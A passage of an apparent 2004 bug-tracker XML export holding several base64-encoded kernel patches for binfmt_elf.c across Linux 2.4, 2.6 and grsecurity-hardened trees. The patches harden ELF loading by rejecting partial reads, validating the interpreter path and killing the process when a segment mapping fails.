ciAqKWVsZl9waGRhdGEsc2l6ZSk7Ci0JZXJyb3IgPSByZXR2YWw7Ci0JaWYgKHJldHZhbCA8IDAp
CisJZXJyb3IgPSAtRUlPOworCWlmIChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsIDwg
MCkKKwkJCWVycm9yID0gcmV0dmFsOwkKIAkJZ290byBvdXRfY2xvc2U7CisJfQogCiAJZXBwbnQg
PSBlbGZfcGhkYXRhOwogCWZvciAoaT0wOyBpPGludGVycF9lbGZfZXgtPmVfcGhudW07IGkrKywg
ZXBwbnQrKykgewpAQCAtNTMyLDggKzUzNSwxMSBAQAogCQlnb3RvIG91dDsKIAogCXJldHZhbCA9
IGtlcm5lbF9yZWFkKGJwcm0tPmZpbGUsIGVsZl9leC5lX3Bob2ZmLCAoY2hhciAqKSBlbGZfcGhk
YXRhLCBzaXplKTsKLQlpZiAocmV0dmFsIDwgMCkKKwlpZiAocmV0dmFsICE9IHNpemUpIHsKKwkJ
aWYgKHJldHZhbCA+PSAwKQorCQkJcmV0dmFsID0gLUVJTzsKIAkJZ290byBvdXRfZnJlZV9waDsK
Kwl9CiAJCQogCWZpbGVzID0gY3VycmVudC0+ZmlsZXM7CQkvKiBSZWZjb3VudGVkIHNvIG9rICov
CiAJcmV0dmFsID0gdW5zaGFyZV9maWxlcygpOwpAQCAtNTgwLDggKzU4NiwxNCBAQAogCQkJcmV0
dmFsID0ga2VybmVsX3JlYWQoYnBybS0+ZmlsZSwgZWxmX3BwbnQtPnBfb2Zmc2V0LAogCQkJCQkg
ICBlbGZfaW50ZXJwcmV0ZXIsCiAJCQkJCSAgIGVsZl9wcG50LT5wX2ZpbGVzeik7Ci0JCQlpZiAo
cmV0dmFsIDwgMCkKKwkJCWlmIChyZXR2YWwgIT0gZWxmX3BwbnQtPnBfZmlsZXN6KSB7CisJCQkJ
aWYgKHJldHZhbCA+PSAwKQorCQkJCQlyZXR2YWwgPSAtRUlPOwogCQkJCWdvdG8gb3V0X2ZyZWVf
aW50ZXJwOworCQkJfQorCQkJLyogbWFrZSBzdXJlIHBhdGggaXMgTlVMTCB0ZXJtaW5hdGVkICov
CisJCQllbGZfaW50ZXJwcmV0ZXJbZWxmX3BwbnQtPnBfZmlsZXN6IC0gMV0gPSAnXDAnOworCiAJ
CQkvKiBJZiB0aGUgcHJvZ3JhbSBpbnRlcnByZXRlciBpcyBvbmUgb2YgdGhlc2UgdHdvLAogCQkJ
ICogdGhlbiBhc3N1bWUgYW4gaUJDUzIgaW1hZ2UuIE90aGVyd2lzZSBhc3N1bWUKIAkJCSAqIGEg
bmF0aXZlIGxpbnV4IGltYWdlLgpAQCAtNjE2LDggKzYyOCwxMSBAQAogCQkJaWYgKElTX0VSUihp
bnRlcnByZXRlcikpCiAJCQkJZ290byBvdXRfZnJlZV9pbnRlcnA7CiAJCQlyZXR2YWwgPSBrZXJu
ZWxfcmVhZChpbnRlcnByZXRlciwgMCwgYnBybS0+YnVmLCBCSU5QUk1fQlVGX1NJWkUpOwotCQkJ
aWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9IEJJTlBSTV9CVUZfU0laRSkgeworCQkJ
CWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKIAkJCQlnb3RvIG91dF9mcmVl
X2RlbnRyeTsKKwkJCX0KIAogCQkJLyogR2V0IHRoZSBleGVjIGhlYWRlcnMgKi8KIAkJCWxvYy0+
aW50ZXJwX2V4ID0gKigoc3RydWN0IGV4ZWMgKikgYnBybS0+YnVmKTsKQEAgLTc3Niw4ICs3OTEs
MTAgQEAKIAkJfQogCiAJCWVycm9yID0gZWxmX21hcChicHJtLT5maWxlLCBsb2FkX2JpYXMgKyB2
YWRkciwgZWxmX3BwbnQsIGVsZl9wcm90LCBlbGZfZmxhZ3MpOwotCQlpZiAoQkFEX0FERFIoZXJy
b3IpKQotCQkJY29udGludWU7CisJCWlmIChCQURfQUREUihlcnJvcikpIHsKKwkJCXNlbmRfc2ln
KFNJR0tJTEwsIGN1cnJlbnQsIDApOworCQkJZ290byBvdXRfZnJlZV9kZW50cnk7CisJCX0KIAog
CQlpZiAoIWxvYWRfYWRkcl9zZXQpIHsKIAkJCWxvYWRfYWRkcl9zZXQgPSAxOwo=
</data>        

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>43815</attachid>
            <date>2004-11-12 13:06 0000</date>
            <desc>2.4 Patch for GRSec enabled kernels</desc>
            <filename>gentoo-sources-2.4.27-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">ZGlmZiAtdXIgbGludXgtMi40LjI3LWdlbnRvby1yMi9mcy9iaW5mbXRfZWxmLmMgbGludXgtMi40
LjI3LWdlbnRvby1yMy9mcy9iaW5mbXRfZWxmLmMKLS0tIGxpbnV4LTIuNC4yNy1nZW50b28tcjIv
ZnMvYmluZm10X2VsZi5jCTIwMDQtMTEtMTAgMjA6NDM6MTguMDAwMDAwMDAwICswMDAwCisrKyBs
aW51eC0yLjQuMjctZ2VudG9vLXIzL2ZzL2JpbmZtdF9lbGYuYwkyMDA0LTExLTEwIDIwOjMzOjQw
LjAwMDAwMDAwMCArMDAwMApAQCAtMzA4LDkgKzMwOCwxMiBAQAogCQlnb3RvIG91dDsKIAogCXJl
dHZhbCA9IGtlcm5lbF9yZWFkKGludGVycHJldGVyLGludGVycF9lbGZfZXgtPmVfcGhvZmYsKGNo
YXIgKillbGZfcGhkYXRhLHNpemUpOwotCWVycm9yID0gcmV0dmFsOwotCWlmIChyZXR2YWwgPCAw
KQorCWVycm9yID0gLUVJTzsKKwlpZiAocmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA8
IDApCisJCQllcnJvciA9IHJldHZhbDsJCiAJCWdvdG8gb3V0X2Nsb3NlOworCX0KIAogCWVwcG50
ID0gZWxmX3BoZGF0YTsKIAlmb3IgKGk9MDsgaTxpbnRlcnBfZWxmX2V4LT5lX3BobnVtOyBpKyss
IGVwcG50KyspIHsKQEAgLTY4Niw4ICs2ODksMTEgQEAKIAkJZ290byBvdXQ7CiAKIAlyZXR2YWwg
PSBrZXJuZWxfcmVhZChicHJtLT5maWxlLCBlbGZfZXguZV9waG9mZiwgKGNoYXIgKikgZWxmX3Bo
ZGF0YSwgc2l6ZSk7Ci0JaWYgKHJldHZhbCA8IDApCisJaWYgKHJldHZhbCAhPSBzaXplKSB7CisJ
CWlmIChyZXR2YWwgPj0gMCkKKwkJCXJldHZhbCA9IC1FSU87CiAJCWdvdG8gb3V0X2ZyZWVfcGg7
CisJfQogCQkKIAlmaWxlcyA9IGN1cnJlbnQtPmZpbGVzOwkJLyogUmVmY291bnRlZCBzbyBvayAq
LwogCXJldHZhbCA9IHVuc2hhcmVfZmlsZXMoKTsKQEAgLTczNCw4ICs3NDAsMTQgQEAKIAkJCXJl
dHZhbCA9IGtlcm5lbF9yZWFkKGJwcm0tPmZpbGUsIGVsZl9wcG50LT5wX29mZnNldCwKIAkJCQkJ
ICAgZWxmX2ludGVycHJldGVyLAogCQkJCQkgICBlbGZfcHBudC0+cF9maWxlc3opOwotCQkJaWYg
KHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9IGVsZl9wcG50LT5wX2ZpbGVzeikgeworCQkJ
CWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKIAkJCQlnb3RvIG91dF9mcmVl
X2ludGVycDsKKwkJCX0KKwkJCS8qIG1ha2Ugc3VyZSBwYXRoIGlzIE5VTEwgdGVybWluYXRlZCAq
LworCQkJZWxmX2ludGVycHJldGVyW2VsZl9wcG50LT5wX2ZpbGVzeiAtIDFdID0gJ1wwJzsKKwog
CQkJLyogSWYgdGhlIHByb2dyYW0gaW50ZXJwcmV0ZXIgaXMgb25lIG9mIHRoZXNlIHR3bywKIAkJ
CSAqIHRoZW4gYXNzdW1lIGFuIGlCQ1MyIGltYWdlLiBPdGhlcndpc2UgYXNzdW1lCiAJCQkgKiBh
IG5hdGl2ZSBsaW51eCBpbWFnZS4KQEAgLTc1NCw4ICs3NjYsMTEgQEAKIAkJCWlmIChJU19FUlIo
aW50ZXJwcmV0ZXIpKQogCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOwogCQkJcmV0dmFsID0ga2Vy
bmVsX3JlYWQoaW50ZXJwcmV0ZXIsIDAsIGJwcm0tPmJ1ZiwgQklOUFJNX0JVRl9TSVpFKTsKLQkJ
CWlmIChyZXR2YWwgPCAwKQorCQkJaWYgKHJldHZhbCAhPSBCSU5QUk1fQlVGX1NJWkUpIHsKKwkJ
CQlpZiAocmV0dmFsID49IDApCisJCQkJCXJldHZhbCA9IC1FSU87CiAJCQkJZ290byBvdXRfZnJl
ZV9kZW50cnk7CisJCQl9CiAKIAkJCS8qIEdldCB0aGUgZXhlYyBoZWFkZXJzICovCiAJCQlpbnRl
cnBfZXggPSAqKChzdHJ1Y3QgZXhlYyAqKSBicHJtLT5idWYpOwpAQCAtOTY3LDcgKzk4MiwxMCBA
QAogI2VuZGlmCiAKIAkJCWlmIChCQURfQUREUihlcnJvcikpCi0JCQkJY29udGludWU7CisJCQl7
CisJCQkJc2VuZF9zaWcoU0lHS0lMTCwgY3VycmVudCwgMCk7CisJCQkJZ290byBvdXRfZnJlZV9k
ZW50cnk7CisJCQl9CiAKIAkJCS8qIFBhWDogbWlycm9yIGF0IGEgcmFuZG9taXplZCBiYXNlICov
CiAJCQlkb3duX3dyaXRlKCZjdXJyZW50LT5tbS0+bW1hcF9zZW0pOwpAQCAtMTAwOCw3ICsxMDI2
LDEwIEBACiAJCXsKIAkJCWVycm9yID0gZWxmX21hcChicHJtLT5maWxlLCBsb2FkX2JpYXMgKyB2
YWRkciwgZWxmX3BwbnQsIGVsZl9wcm90LCBlbGZfZmxhZ3MpOwogCQkJaWYgKEJBRF9BRERSKGVy
cm9yKSkKLQkJCQljb250aW51ZTsKKwkJCXsKKwkJCQlzZW5kX3NpZyhTSUdLSUxMLCBjdXJyZW50
LCAwKTsKKwkJCQlnb3RvIG91dF9mcmVlX2RlbnRyeTsKKwkJCX0KIAkJfQogCiAJCWlmICghbG9h
ZF9hZGRyX3NldCkgewo=
</data>        

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>43816</attachid>
            <date>2004-11-12 13:08 0000</date>
            <desc>&lt;= 2.6.8.1 patch</desc>
            <filename>linux-2.6.8.1-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">LS0tIGxpbnV4LTIuNi43LXVjMC1yOC9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0xMiAxMTo1MDow
OCAtMDg6MDAKKysrIGxpbnV4LTIuNi43LXVjMC1yOC1wbGFzbWFyb28vZnMvYmluZm10X2VsZi5j
CTIwMDQtMTEtMTIgMTE6NTA6MDggLTA4OjAwCkBAIC0zMzUsOSArMzM1LDEyIEBACiAJCWdvdG8g
b3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3JlYWQoaW50ZXJwcmV0ZXIsaW50ZXJwX2VsZl9leC0+
ZV9waG9mZiwoY2hhciAqKWVsZl9waGRhdGEsc2l6ZSk7Ci0JZXJyb3IgPSByZXR2YWw7Ci0JaWYg
KHJldHZhbCA8IDApCisJZXJyb3IgPSAtRUlPOworCWlmIChyZXR2YWwgIT0gc2l6ZSkgeworCQlp
ZiAocmV0dmFsIDwgMCkKKwkJCWVycm9yID0gcmV0dmFsOwkKIAkJZ290byBvdXRfY2xvc2U7CisJ
fQogCiAJZXBwbnQgPSBlbGZfcGhkYXRhOwogCWZvciAoaT0wOyBpPGludGVycF9lbGZfZXgtPmVf
cGhudW07IGkrKywgZXBwbnQrKykgewpAQCAtNTMyLDggKzUzNSwxMSBAQAogCQlnb3RvIG91dDsK
IAogCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJwcm0tPmZpbGUsIGVsZl9leC5lX3Bob2ZmLCAoY2hh
ciAqKSBlbGZfcGhkYXRhLCBzaXplKTsKLQlpZiAocmV0dmFsIDwgMCkKKwlpZiAocmV0dmFsICE9
IHNpemUpIHsKKwkJaWYgKHJldHZhbCA+PSAwKQorCQkJcmV0dmFsID0gLUVJTzsKIAkJZ290byBv
dXRfZnJlZV9waDsKKwl9CiAKIAlmaWxlcyA9IGN1cnJlbnQtPmZpbGVzOwkJLyogUmVmY291bnRl
ZCBzbyBvayAqLwogCXJldHZhbCA9IHVuc2hhcmVfZmlsZXMoKTsKQEAgLTU4MCw4ICs1ODYsMTQg
QEAKIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJwcm0tPmZpbGUsIGVsZl9wcG50LT5wX29mZnNl
dCwKIAkJCQkJICAgZWxmX2ludGVycHJldGVyLAogCQkJCQkgICBlbGZfcHBudC0+cF9maWxlc3op
OwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9IGVsZl9wcG50LT5wX2ZpbGVz
eikgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKIAkJCQlnb3Rv
IG91dF9mcmVlX2ludGVycDsKKwkJCX0KKwkJCS8qIG1ha2Ugc3VyZSBwYXRoIGlzIE5VTEwgdGVy
bWluYXRlZCAqLworCQkJZWxmX2ludGVycHJldGVyW2VsZl9wcG50LT5wX2ZpbGVzeiAtIDFdID0g
J1wwJzsKKwogCQkJLyogSWYgdGhlIHByb2dyYW0gaW50ZXJwcmV0ZXIgaXMgb25lIG9mIHRoZXNl
IHR3bywKIAkJCSAqIHRoZW4gYXNzdW1lIGFuIGlCQ1MyIGltYWdlLiBPdGhlcndpc2UgYXNzdW1l
CiAJCQkgKiBhIG5hdGl2ZSBsaW51eCBpbWFnZS4KQEAgLTYxNiw4ICs2MjgsMTEgQEAKIAkJCWlm
IChJU19FUlIoaW50ZXJwcmV0ZXIpKQogCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOwogCQkJcmV0
dmFsID0ga2VybmVsX3JlYWQoaW50ZXJwcmV0ZXIsIDAsIGJwcm0tPmJ1ZiwgQklOUFJNX0JVRl9T
SVpFKTsKLQkJCWlmIChyZXR2YWwgPCAwKQorCQkJaWYgKHJldHZhbCAhPSBCSU5QUk1fQlVGX1NJ
WkUpIHsKKwkJCQlpZiAocmV0dmFsID49IDApCisJCQkJCXJldHZhbCA9IC1FSU87CiAJCQkJZ290
byBvdXRfZnJlZV9kZW50cnk7CisJCQl9CiAKIAkJCS8qIEdldCB0aGUgZXhlYyBoZWFkZXJzICov
CiAJCQlsb2MtPmludGVycF9leCA9ICooKHN0cnVjdCBleGVjICopIGJwcm0tPmJ1Zik7CkBAIC03
NzYsOCArNzkxLDEwIEBACiAJCX0KIAogCQllcnJvciA9IGVsZl9tYXAoYnBybS0+ZmlsZSwgbG9h
ZF9iaWFzICsgdmFkZHIsIGVsZl9wcG50LCBlbGZfcHJvdCwgZWxmX2ZsYWdzKTsKLQkJaWYgKEJB
RF9BRERSKGVycm9yKSkKLQkJCWNvbnRpbnVlOworCQlpZiAoQkFEX0FERFIoZXJyb3IpKSB7CisJ
CQlzZW5kX3NpZyhTSUdLSUxMLCBjdXJyZW50LCAwKTsKKwkJCWdvdG8gb3V0X2ZyZWVfZGVudHJ5
OworCQl9CiAKIAkJaWYgKCFsb2FkX2FkZHJfc2V0KSB7CiAJCQlsb2FkX2FkZHJfc2V0ID0gMTsK
</data>        

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>43817</attachid>
            <date>2004-11-12 13:10 0000</date>
            <desc>2.6.9 patch</desc>
            <filename>linux-2.6.9-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBkaWZmIC1OcnUgc3R5bGUgcGF0Y2guCiMK
IyBDaGFuZ2VTZXQKIyAgIDIwMDQvMTEvMTAgMTA6MzM6MDAtMDg6MDAgY2hyaXN3QG9zZGwub3Jn
IAojICAgW1BBVENIXSBiaW5mbXRfZWxmOiBoYW5kbGUgcGFydGlhbCByZWFkcyBncmFjZWZ1bGx5
CiMgICAKIyAgIE1ha2Ugc3VyZSBrZXJuZWwgcmVhZHMgZnVsbCBzaXplIG9mIGVsZiBkYXRhLiAg
RXJyb3Igb3V0IGlmIG1tYXAgZmFpbHMKIyAgIHdoZW4gbWFwcGluZyBhbnkgc2VjdGlvbnMgb2Yg
dGhlIGV4ZWN1dGFibGUuICBNYWtlIHN1cmUgaW50ZXJwcmV0ZXIKIyAgIHN0cmluZyBpcyBOVUxM
IHRlcm1pbmF0ZWQuIAojICAgCiMgICBTaWduZWQtb2ZmLWJ5OiBDaHJpcyBXcmlnaHQgPGNocmlz
d0Bvc2RsLm9yZz4KIyAgIFNpZ25lZC1vZmYtYnk6IExpbnVzIFRvcnZhbGRzIDx0b3J2YWxkc0Bv
c2RsLm9yZz4KIyAKIyBmcy9iaW5mbXRfZWxmLmMKIyAgIDIwMDQvMTEvMTAgMDk6NDU6MzgtMDg6
MDAgY2hyaXN3QG9zZGwub3JnICsyNCAtNwojICAgYmluZm10X2VsZjogaGFuZGxlIHBhcnRpYWwg
cmVhZHMgZ3JhY2VmdWxseQojIApkaWZmIC1OcnUgYS9mcy9iaW5mbXRfZWxmLmMgYi9mcy9iaW5m
bXRfZWxmLmMKLS0tIGEvZnMvYmluZm10X2VsZi5jCTIwMDQtMTEtMTIgMTM6MDk6MzkgLTA4OjAw
CisrKyBiL2ZzL2JpbmZtdF9lbGYuYwkyMDA0LTExLTEyIDEzOjA5OjM5IC0wODowMApAQCAtMzM1
LDkgKzMzNSwxMiBAQAogCQlnb3RvIG91dDsKIAogCXJldHZhbCA9IGtlcm5lbF9yZWFkKGludGVy
cHJldGVyLGludGVycF9lbGZfZXgtPmVfcGhvZmYsKGNoYXIgKillbGZfcGhkYXRhLHNpemUpOwot
CWVycm9yID0gcmV0dmFsOwotCWlmIChyZXR2YWwgPCAwKQorCWVycm9yID0gLUVJTzsKKwlpZiAo
cmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA8IDApCisJCQllcnJvciA9IHJldHZhbDsJ
CiAJCWdvdG8gb3V0X2Nsb3NlOworCX0KIAogCWVwcG50ID0gZWxmX3BoZGF0YTsKIAlmb3IgKGk9
MDsgaTxpbnRlcnBfZWxmX2V4LT5lX3BobnVtOyBpKyssIGVwcG50KyspIHsKQEAgLTUzMiw4ICs1
MzUsMTEgQEAKIAkJZ290byBvdXQ7CiAKIAlyZXR2YWwgPSBrZXJuZWxfcmVhZChicHJtLT5maWxl
LCBsb2MtPmVsZl9leC5lX3Bob2ZmLCAoY2hhciAqKSBlbGZfcGhkYXRhLCBzaXplKTsKLQlpZiAo
cmV0dmFsIDwgMCkKKwlpZiAocmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA+PSAwKQor
CQkJcmV0dmFsID0gLUVJTzsKIAkJZ290byBvdXRfZnJlZV9waDsKKwl9CiAKIAlmaWxlcyA9IGN1
cnJlbnQtPmZpbGVzOwkJLyogUmVmY291bnRlZCBzbyBvayAqLwogCXJldHZhbCA9IHVuc2hhcmVf
ZmlsZXMoKTsKQEAgLTU4MCw4ICs1ODYsMTQgQEAKIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJw
cm0tPmZpbGUsIGVsZl9wcG50LT5wX29mZnNldCwKIAkJCQkJICAgZWxmX2ludGVycHJldGVyLAog
CQkJCQkgICBlbGZfcHBudC0+cF9maWxlc3opOwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAo
cmV0dmFsICE9IGVsZl9wcG50LT5wX2ZpbGVzeikgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJ
CQkJcmV0dmFsID0gLUVJTzsKIAkJCQlnb3RvIG91dF9mcmVlX2ludGVycDsKKwkJCX0KKwkJCS8q
IG1ha2Ugc3VyZSBwYXRoIGlzIE5VTEwgdGVybWluYXRlZCAqLworCQkJZWxmX2ludGVycHJldGVy
W2VsZl9wcG50LT5wX2ZpbGVzeiAtIDFdID0gJ1wwJzsKKwogCQkJLyogSWYgdGhlIHByb2dyYW0g
aW50ZXJwcmV0ZXIgaXMgb25lIG9mIHRoZXNlIHR3bywKIAkJCSAqIHRoZW4gYXNzdW1lIGFuIGlC
Q1MyIGltYWdlLiBPdGhlcndpc2UgYXNzdW1lCiAJCQkgKiBhIG5hdGl2ZSBsaW51eCBpbWFnZS4K
QEAgLTYxNiw4ICs2MjgsMTEgQEAKIAkJCWlmIChJU19FUlIoaW50ZXJwcmV0ZXIpKQogCQkJCWdv
dG8gb3V0X2ZyZWVfaW50ZXJwOwogCQkJcmV0dmFsID0ga2VybmVsX3JlYWQoaW50ZXJwcmV0ZXIs
IDAsIGJwcm0tPmJ1ZiwgQklOUFJNX0JVRl9TSVpFKTsKLQkJCWlmIChyZXR2YWwgPCAwKQorCQkJ
aWYgKHJldHZhbCAhPSBCSU5QUk1fQlVGX1NJWkUpIHsKKwkJCQlpZiAocmV0dmFsID49IDApCisJ
CQkJCXJldHZhbCA9IC1FSU87CiAJCQkJZ290byBvdXRfZnJlZV9kZW50cnk7CisJCQl9CiAKIAkJ
CS8qIEdldCB0aGUgZXhlYyBoZWFkZXJzICovCiAJCQlsb2MtPmludGVycF9leCA9ICooKHN0cnVj
dCBleGVjICopIGJwcm0tPmJ1Zik7CkBAIC03NzYsOCArNzkxLDEwIEBACiAJCX0KIAogCQllcnJv
ciA9IGVsZl9tYXAoYnBybS0+ZmlsZSwgbG9hZF9iaWFzICsgdmFkZHIsIGVsZl9wcG50LCBlbGZf
cHJvdCwgZWxmX2ZsYWdzKTsKLQkJaWYgKEJBRF9BRERSKGVycm9yKSkKLQkJCWNvbnRpbnVlOwor
CQlpZiAoQkFEX0FERFIoZXJyb3IpKSB7CisJCQlzZW5kX3NpZyhTSUdLSUxMLCBjdXJyZW50LCAw
KTsKKwkJCWdvdG8gb3V0X2ZyZWVfZGVudHJ5OworCQl9CiAKIAkJaWYgKCFsb2FkX2FkZHJfc2V0
KSB7CiAJCQlsb2FkX2FkZHJfc2V0ID0gMTsK
</data>        

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44127</attachid>
            <date>2004-11-16 19:36 0000</date>
            <desc>2.6 Patch for grsec enabled kernels</desc>
            <filename>hardened-2.6.7-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">LS0tIGxpbnV4LTIuNi43LWhhcmRlbmVkLXIxMC9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0xNCAx
Njo0MTo0NS4wMDAwMDAwMDAgLTA1MDAKKysrIGxpbnV4LTIuNi43LWhhcmRlbmVkLXIxMy9mcy9i
aW5mbXRfZWxmLmMJMjAwNC0xMS0xNiAyMTozNjozMS4wMDAwMDAwMDAgLTA1MDAKQEAgLTM0Nyw5
ICszNDcsMTIgQEAKIAkJZ290byBvdXQ7CiAKIAlyZXR2YWwgPSBrZXJuZWxfcmVhZChpbnRlcnBy
ZXRlcixpbnRlcnBfZWxmX2V4LT5lX3Bob2ZmLChjaGFyICopZWxmX3BoZGF0YSxzaXplKTsKLQll
cnJvciA9IHJldHZhbDsKLQlpZiAocmV0dmFsIDwgMCkKKwllcnJvciA9IC1FSU87CisJaWYgKHJl
dHZhbCAhPSBzaXplKSB7CisJCWlmIChyZXR2YWwgPCAwKQorCQkJZXJyb3IgPSByZXR2YWw7CiAJ
CWdvdG8gb3V0X2Nsb3NlOworCX0KIAogI2lmZGVmIENPTkZJR19QQVhfU0VHTUVYRUMKIAlpZiAo
Y3VycmVudC0+ZmxhZ3MgJiBQRl9QQVhfU0VHTUVYRUMpCkBAIC03NjcsOCArNzcwLDExIEBACiAJ
CWdvdG8gb3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3JlYWQoYnBybS0+ZmlsZSwgZWxmX2V4LmVf
cGhvZmYsIChjaGFyICopIGVsZl9waGRhdGEsIHNpemUpOwotCWlmIChyZXR2YWwgPCAwKQorCWlm
IChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsID49IDApCisJCQlyZXR2YWwgPSAtRUlP
OwogCQlnb3RvIG91dF9mcmVlX3BoOworCX0KIAogCWZpbGVzID0gY3VycmVudC0+ZmlsZXM7CQkv
KiBSZWZjb3VudGVkIHNvIG9rICovCiAJcmV0dmFsID0gdW5zaGFyZV9maWxlcygpOwpAQCAtODA1
LDcgKzgxMSw4IEBACiAJCQkgKi8KIAogCQkJcmV0dmFsID0gLUVOT01FTTsKLQkJCWlmIChlbGZf
cHBudC0+cF9maWxlc3ogPiBQQVRIX01BWCkKKwkJCWlmIChlbGZfcHBudC0+cF9maWxlc3ogPiBQ
QVRIX01BWCB8fCAKKwkJCSAgICBlbGZfcHBudC0+cF9maWxlc3ogPT0gMCkKIAkJCQlnb3RvIG91
dF9mcmVlX2ZpbGU7CiAJCQllbGZfaW50ZXJwcmV0ZXIgPSAoY2hhciAqKSBrbWFsbG9jKGVsZl9w
cG50LT5wX2ZpbGVzeiwKIAkJCQkJCQkgICBHRlBfS0VSTkVMKTsKQEAgLTgxNSw4ICs4MjIsMTYg
QEAKIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJwcm0tPmZpbGUsIGVsZl9wcG50LT5wX29mZnNl
dCwKIAkJCQkJICAgZWxmX2ludGVycHJldGVyLAogCQkJCQkgICBlbGZfcHBudC0+cF9maWxlc3op
OwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9IGVsZl9wcG50LT5wX2ZpbGVz
eikgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKKwkJCQlnb3Rv
IG91dF9mcmVlX2ludGVycDsKKwkJCX0KKwkJCS8qIG1ha2Ugc3VyZSBwYXRoIGlzIE5VTEwgdGVy
bWluYXRlZCAqLworCQkJcmV0dmFsID0gLUVJTlZBTDsKKwkJCWlmIChlbGZfaW50ZXJwcmV0ZXJb
ZWxmX3BwbnQtPnBfZmlsZXN6IC0gMV0gIT0gJ1wwJykKIAkJCQlnb3RvIG91dF9mcmVlX2ludGVy
cDsKKwkJCQogCQkJLyogSWYgdGhlIHByb2dyYW0gaW50ZXJwcmV0ZXIgaXMgb25lIG9mIHRoZXNl
IHR3bywKIAkJCSAqIHRoZW4gYXNzdW1lIGFuIGlCQ1MyIGltYWdlLiBPdGhlcndpc2UgYXNzdW1l
CiAJCQkgKiBhIG5hdGl2ZSBsaW51eCBpbWFnZS4KQEAgLTg1MSw4ICs4NjYsMTEgQEAKIAkJCWlm
IChJU19FUlIoaW50ZXJwcmV0ZXIpKQogCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOwogCQkJcmV0
dmFsID0ga2VybmVsX3JlYWQoaW50ZXJwcmV0ZXIsIDAsIGJwcm0tPmJ1ZiwgQklOUFJNX0JVRl9T
SVpFKTsKLQkJCWlmIChyZXR2YWwgPCAwKQorCQkJaWYgKHJldHZhbCAhPSBCSU5QUk1fQlVGX1NJ
WkUpIHsKKwkJCQlpZiAocmV0dmFsID49IDApCisJCQkJCXJldHZhbCA9IC1FSU87CiAJCQkJZ290
byBvdXRfZnJlZV9kZW50cnk7CisJCQl9CiAKIAkJCS8qIEdldCB0aGUgZXhlYyBoZWFkZXJzICov
CiAJCQlpbnRlcnBfZXggPSAqKChzdHJ1Y3QgZXhlYyAqKSBicHJtLT5idWYpOwpAQCAtMTEwNSw4
ICsxMTIzLDEwIEBACiAJCQl9CiAjZW5kaWYKIAotCQkJaWYgKEJBRF9BRERSKGVycm9yKSkKLQkJ
CQljb250aW51ZTsKKwkJCWlmIChCQURfQUREUihlcnJvcikpIHsKKwkJCQlzZW5kX3NpZyhTSUdL
SUxMLCBjdXJyZW50LCAwKTsKKwkJCQlnb3RvIG91dF9mcmVlX2RlbnRyeTsKKwkJCX0KIAogCQkJ
LyogUGFYOiBtaXJyb3IgYXQgYSByYW5kb21pemVkIGJhc2UgKi8KIAkJCWRvd25fd3JpdGUoJmN1
cnJlbnQtPm1tLT5tbWFwX3NlbSk7Cg==
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44136</attachid>
            <date>2004-11-16 21:14 0000</date>
            <desc>Updated 2.4 patch for grsec systems</desc>
            <filename>hardened-2.4.27-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">LS0tIG9sZC9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0xNiAyMjozODo0OS4wMDAwMDAwMDAgLTA1
MDAKKysrIGxpbnV4LTIuNC4yNy1ncnNlYy0yLjAuMS9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0x
NiAyMzo0MzoxMy4wMDAwMDAwMDAgLTA1MDAKQEAgLTMwOCw5ICszMDgsMTIgQEAKIAkJZ290byBv
dXQ7CiAKIAlyZXR2YWwgPSBrZXJuZWxfcmVhZChpbnRlcnByZXRlcixpbnRlcnBfZWxmX2V4LT5l
X3Bob2ZmLChjaGFyICopZWxmX3BoZGF0YSxzaXplKTsKLQllcnJvciA9IHJldHZhbDsKLQlpZiAo
cmV0dmFsIDwgMCkKKwllcnJvciA9IC1FSU87CisJaWYgKHJldHZhbCAhPSBzaXplKSB7CisJCWlm
